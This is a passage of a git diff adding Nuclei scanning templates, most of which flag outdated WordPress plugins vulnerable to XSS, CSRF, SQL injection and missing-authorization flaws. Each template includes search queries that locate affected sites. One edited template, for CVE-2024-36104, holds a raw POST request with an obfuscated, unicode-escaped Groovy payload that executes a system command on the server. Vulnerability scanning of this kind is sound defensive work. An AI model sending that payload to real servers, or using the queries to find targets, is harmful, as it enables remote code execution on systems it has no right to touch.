'vuln:CVE-2024-35644' + tags: cve,wordpress,wp-plugin,preferred-languages,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/preferred-languages/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "preferred-languages" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.2.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35645.yaml b/poc/cve/CVE-2024-35645.yaml new file mode 100644 index 0000000000..566f7f99e9 --- /dev/null +++ b/poc/cve/CVE-2024-35645.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35645 + +info: + name: > + Random Banner <= 4.2.8 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Random Banner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.2.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/6435fc6b-a5dc-4de3-9c53-5d1bfe8cfd88?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-35645 + metadata: + fofa-query: "wp-content/plugins/random-banner/" + google-query: inurl:"/wp-content/plugins/random-banner/" + shodan-query: 'vuln:CVE-2024-35645' + tags: cve,wordpress,wp-plugin,random-banner,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/random-banner/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "random-banner" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 4.2.8') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35646.yaml b/poc/cve/CVE-2024-35646.yaml new file mode 100644 index 0000000000..747019cb61 --- /dev/null +++ b/poc/cve/CVE-2024-35646.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35646 + +info: + name: > + Smartarget Message Bar <= 1.3 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Smartarget Message Bar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/97cb7216-fe65-46db-9ab2-62d409f056cd?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-35646 + metadata: + fofa-query: "wp-content/plugins/smartarget-message-bar/" + google-query: inurl:"/wp-content/plugins/smartarget-message-bar/" + shodan-query: 'vuln:CVE-2024-35646' + tags: cve,wordpress,wp-plugin,smartarget-message-bar,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/smartarget-message-bar/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "smartarget-message-bar" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.3') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35647.yaml b/poc/cve/CVE-2024-35647.yaml new file mode 100644 index 0000000000..29bc21ec48 --- /dev/null +++ b/poc/cve/CVE-2024-35647.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35647 + +info: + name: > + Global Notification Bar <= 1.0.1 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Global Notification Bar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/c1b1bdaf-eeec-4f93-86d6-cb94db6c32f8?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-35647 + metadata: + fofa-query: "wp-content/plugins/global-notification-bar/" + google-query: inurl:"/wp-content/plugins/global-notification-bar/" + shodan-query: 'vuln:CVE-2024-35647' + tags: cve,wordpress,wp-plugin,global-notification-bar,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/global-notification-bar/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "global-notification-bar" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.0.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35672-486db9c86df3e8118b4d673efcb7bc70.yaml b/poc/cve/CVE-2024-35672-486db9c86df3e8118b4d673efcb7bc70.yaml new file mode 100644 index 0000000000..0a3fa3ea54 --- /dev/null +++ b/poc/cve/CVE-2024-35672-486db9c86df3e8118b4d673efcb7bc70.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35672-486db9c86df3e8118b4d673efcb7bc70 + +info: + name: > + Netgsm <= 2.9.16 - Missing Authorization + author: topscoder + severity: low + description: > + The Netgsm plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.9.16. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/14d3b859-def9-4949-95bc-f25067674811?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-35672 + metadata: + fofa-query: "wp-content/plugins/netgsm/" + google-query: inurl:"/wp-content/plugins/netgsm/" + shodan-query: 'vuln:CVE-2024-35672' + tags: cve,wordpress,wp-plugin,netgsm,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/netgsm/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "netgsm" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.9.16') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35673-e1796442c9c94fea31305d80d3cc86c1.yaml b/poc/cve/CVE-2024-35673-e1796442c9c94fea31305d80d3cc86c1.yaml new file mode 100644 index 0000000000..4976f9cda8 --- /dev/null +++ b/poc/cve/CVE-2024-35673-e1796442c9c94fea31305d80d3cc86c1.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35673-e1796442c9c94fea31305d80d3cc86c1 + +info: + name: > + Pure Chat – Live Chat Plugin & More! <= 2.22 - Cross-Site Request Forgery + author: topscoder + severity: medium + description: > + The Pure Chat plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.22. This is due to missing or incorrect nonce validation on the pure_chat_update function. This makes it possible for unauthenticated attackers to update chat details via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/c5e516d6-eece-42d3-9349-29be685a3509?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2024-35673 + metadata: + fofa-query: "wp-content/plugins/pure-chat/" + google-query: inurl:"/wp-content/plugins/pure-chat/" + shodan-query: 'vuln:CVE-2024-35673' + tags: cve,wordpress,wp-plugin,pure-chat,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/pure-chat/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "pure-chat" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.22') \ No newline at end of file diff --git a/poc/cve/CVE-2024-3592-db8d56b4ffd71be1964e8f686279beb9.yaml b/poc/cve/CVE-2024-3592-db8d56b4ffd71be1964e8f686279beb9.yaml new file mode 100644 index 0000000000..91a8d05264 --- /dev/null +++ b/poc/cve/CVE-2024-3592-db8d56b4ffd71be1964e8f686279beb9.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-3592-db8d56b4ffd71be1964e8f686279beb9 + +info: + name: > + Quiz And Survey Master – Best Quiz, Exam and Survey Plugin for WordPress <= 9.0.1 - Authenticated (Contributor+) SQL Injection + author: topscoder + severity: low + description: > + The Quiz And Survey Master – Best Quiz, Exam and Survey Plugin for WordPress plugin for WordPress is vulnerable to SQL Injection via the 'question_id' parameter in all versions up to, and including, 9.0.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/fc085413-db43-43e3-9b60-aeb341eed4e1?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H + cvss-score: 9.9 + cve-id: CVE-2024-3592 + metadata: + fofa-query: "wp-content/plugins/quiz-master-next/" + google-query: inurl:"/wp-content/plugins/quiz-master-next/" + shodan-query: 'vuln:CVE-2024-3592' + tags: cve,wordpress,wp-plugin,quiz-master-next,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/quiz-master-next/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "quiz-master-next" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 9.0.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-3594-36d7fb83c790460bdb8c61a1e30649d8.yaml b/poc/cve/CVE-2024-3594-36d7fb83c790460bdb8c61a1e30649d8.yaml new file mode 100644 index 0000000000..7403d715d5 --- /dev/null +++ b/poc/cve/CVE-2024-3594-36d7fb83c790460bdb8c61a1e30649d8.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-3594-36d7fb83c790460bdb8c61a1e30649d8 + +info: + name: > + IDonate – blood request management system <= 1.9.0 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The IDonate – blood request management system plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.9.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/4ff558bb-7c5a-4e17-a3f5-bc9aa2332af1?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-3594 + metadata: + fofa-query: "wp-content/plugins/idonate/" + google-query: inurl:"/wp-content/plugins/idonate/" + shodan-query: 'vuln:CVE-2024-3594' + tags: cve,wordpress,wp-plugin,idonate,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/idonate/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "idonate" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.9.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-36104.yaml b/poc/cve/CVE-2024-36104.yaml index c09efdc87a..9f78752fb7 100644 --- a/poc/cve/CVE-2024-36104.yaml +++ b/poc/cve/CVE-2024-36104.yaml @@ -14,9 +14,8 @@ http: - raw: - | POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1 - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0 + Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - Content-Length: 100 groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b diff --git a/poc/cve/CVE-2024-3641-049362f736a248e461e7e2209124763e.yaml b/poc/cve/CVE-2024-3641-049362f736a248e461e7e2209124763e.yaml new file mode 100644 index 0000000000..2de5e0e745 --- /dev/null +++ b/poc/cve/CVE-2024-3641-049362f736a248e461e7e2209124763e.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-3641-049362f736a248e461e7e2209124763e + +info: + name: > + Newsletter Popup <= 1.2 - Unauthenticated Stored Cross-Site Scripting + author: topscoder + severity: high + description: > + The Newsletter Popup plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'nl_data' parameter in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/b980bcd6-5ae3-4fa8-843b-652bd94d1dc6?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cve-id: CVE-2024-3641 + metadata: + fofa-query: "wp-content/plugins/newsletter-popup/" + google-query: inurl:"/wp-content/plugins/newsletter-popup/" + shodan-query: 'vuln:CVE-2024-3641' + tags: cve,wordpress,wp-plugin,newsletter-popup,high + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/newsletter-popup/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "newsletter-popup" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-3642-c5820e404ef1b131f6857331a1aaece3.yaml b/poc/cve/CVE-2024-3642-c5820e404ef1b131f6857331a1aaece3.yaml new file mode 100644 index 0000000000..0f7fe0fb58 --- /dev/null +++ b/poc/cve/CVE-2024-3642-c5820e404ef1b131f6857331a1aaece3.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-3642-c5820e404ef1b131f6857331a1aaece3 + +info: + name: > + Newsletter Popup <= 1.2 - Cross-Site Request Forgery to Subscriber Deletion + author: topscoder + severity: medium + description: > + The Newsletter Popup plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.2. This is due to missing or incorrect nonce validation on the wp_newsletter_show_localrecord page. This makes it possible for unauthenticated attackers to delete subscribers via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/a65ce746-c356-4879-b348-688b2256fc67?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-3642 + metadata: + fofa-query: "wp-content/plugins/newsletter-popup/" + google-query: inurl:"/wp-content/plugins/newsletter-popup/" + shodan-query: 'vuln:CVE-2024-3642' + tags: cve,wordpress,wp-plugin,newsletter-popup,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/newsletter-popup/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "newsletter-popup" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-3643-a05812857160f5eb561bf2babf725d60.yaml b/poc/cve/CVE-2024-3643-a05812857160f5eb561bf2babf725d60.yaml new file mode 100644 index 0000000000..4d3676be52 --- /dev/null +++ b/poc/cve/CVE-2024-3643-a05812857160f5eb561bf2babf725d60.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-3643-a05812857160f5eb561bf2babf725d60 + +info: + name: > + Newsletter Popup <= 1.2 - Cross-Site Request Forgery to List Deletion + author: topscoder + severity: medium + description: > + The Newsletter Popup plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.2. This is due to missing or incorrect nonce validation on the wp_newsletter_show_items page. This makes it possible for unauthenticated attackers to delete lists via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/dc07620e-23fe-4039-a6f5-e0b320424444?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-3643 + metadata: + fofa-query: "wp-content/plugins/newsletter-popup/" + google-query: inurl:"/wp-content/plugins/newsletter-popup/" + shodan-query: 'vuln:CVE-2024-3643' + tags: cve,wordpress,wp-plugin,newsletter-popup,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/newsletter-popup/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "newsletter-popup" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-3644-9f7a970dbcd282a4ee231b0a1cc7dd4e.yaml b/poc/cve/CVE-2024-3644-9f7a970dbcd282a4ee231b0a1cc7dd4e.yaml new file mode 100644 index 0000000000..9bc73f62ac --- /dev/null +++ b/poc/cve/CVE-2024-3644-9f7a970dbcd282a4ee231b0a1cc7dd4e.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-3644-9f7a970dbcd282a4ee231b0a1cc7dd4e + +info: + name: > + Newsletter Popup <= 1.2 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Newsletter Popup plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/298af603-43fc-4fde-83b5-ac36f1b35bca?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-3644 + metadata: + fofa-query: "wp-content/plugins/newsletter-popup/" + google-query: inurl:"/wp-content/plugins/newsletter-popup/" + shodan-query: 'vuln:CVE-2024-3644' + tags: cve,wordpress,wp-plugin,newsletter-popup,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/newsletter-popup/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "newsletter-popup" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-3921-dbf397a500a6ba8db425a10054860f95.yaml b/poc/cve/CVE-2024-3921-dbf397a500a6ba8db425a10054860f95.yaml new file mode 100644 index 0000000000..035ff0f1bb --- /dev/null +++ b/poc/cve/CVE-2024-3921-dbf397a500a6ba8db425a10054860f95.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-3921-dbf397a500a6ba8db425a10054860f95 + +info: + name: > + Gianism <= 5.1.0 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Gianism plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 5.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/a2121e1a-88f4-41b9-9a72-fe263b4739ef?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-3921 + metadata: + fofa-query: "wp-content/plugins/gianism/" + google-query: inurl:"/wp-content/plugins/gianism/" + shodan-query: 'vuln:CVE-2024-3921' + tags: cve,wordpress,wp-plugin,gianism,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/gianism/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "gianism" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 5.1.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-3987-d1590fd2b736d9b7169053d35fe5596a.yaml b/poc/cve/CVE-2024-3987-d1590fd2b736d9b7169053d35fe5596a.yaml new file mode 100644 index 0000000000..5cf9c631ae --- /dev/null +++ b/poc/cve/CVE-2024-3987-d1590fd2b736d9b7169053d35fe5596a.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-3987-d1590fd2b736d9b7169053d35fe5596a + +info: + name: > + WP Mobile Menu – The Mobile-Friendly Responsive Menu <= 2.8.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image Alt + author: topscoder + severity: low + description: > + The WP Mobile Menu – The Mobile-Friendly Responsive Menu plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image alt text in all versions up to, and including, 2.8.4.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/7bcbc6b6-ed05-4709-bf05-214418798339?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2024-3987 + metadata: + fofa-query: "wp-content/plugins/mobile-menu/" + google-query: inurl:"/wp-content/plugins/mobile-menu/" + shodan-query: 'vuln:CVE-2024-3987' + tags: cve,wordpress,wp-plugin,mobile-menu,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/mobile-menu/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "mobile-menu" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.8.4.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4042-0b45d87b9cb46f3e57530ebae522c9d1.yaml b/poc/cve/CVE-2024-4042-0b45d87b9cb46f3e57530ebae522c9d1.yaml new file mode 100644 index 0000000000..b93657f00e --- /dev/null +++ b/poc/cve/CVE-2024-4042-0b45d87b9cb46f3e57530ebae522c9d1.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4042-0b45d87b9cb46f3e57530ebae522c9d1 + +info: + name: > + Post Grid, Form Maker, Popup Maker, WooCommerce Blocks, Post Blocks, Post Carousel - Combo Blocks <= 2.2.80 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block Attribute + author: topscoder + severity: low + description: > + The Post Grid, Form Maker, Popup Maker, WooCommerce Blocks, Post Blocks, Post Carousel – Combo Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' attribute of the menu-wrap-item block in all versions up to, and including, 2.2.80 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/55e6eb58-79e2-4404-887a-0392ce7914aa?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4042 + metadata: + fofa-query: "wp-content/plugins/post-grid/" + google-query: inurl:"/wp-content/plugins/post-grid/" + shodan-query: 'vuln:CVE-2024-4042' + tags: cve,wordpress,wp-plugin,post-grid,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/post-grid/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "post-grid" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.2.80') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4061-7d27faa8767de65d446af82e8cb546ee.yaml b/poc/cve/CVE-2024-4061-7d27faa8767de65d446af82e8cb546ee.yaml new file mode 100644 index 0000000000..b355cc8097 --- /dev/null +++ b/poc/cve/CVE-2024-4061-7d27faa8767de65d446af82e8cb546ee.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4061-7d27faa8767de65d446af82e8cb546ee + +info: + name: > + Survey Maker – Customer Satisfaction Survey, Chat Survey, Calculaton Form, Payment Surveys <= 4.2.8 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Survey Maker – Customer Satisfaction Survey, Chat Survey, Calculaton Form, Payment Surveys plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.2.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/ccea6d3e-a889-4058-a9ff-e75b8de16ba0?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-4061 + metadata: + fofa-query: "wp-content/plugins/survey-maker/" + google-query: 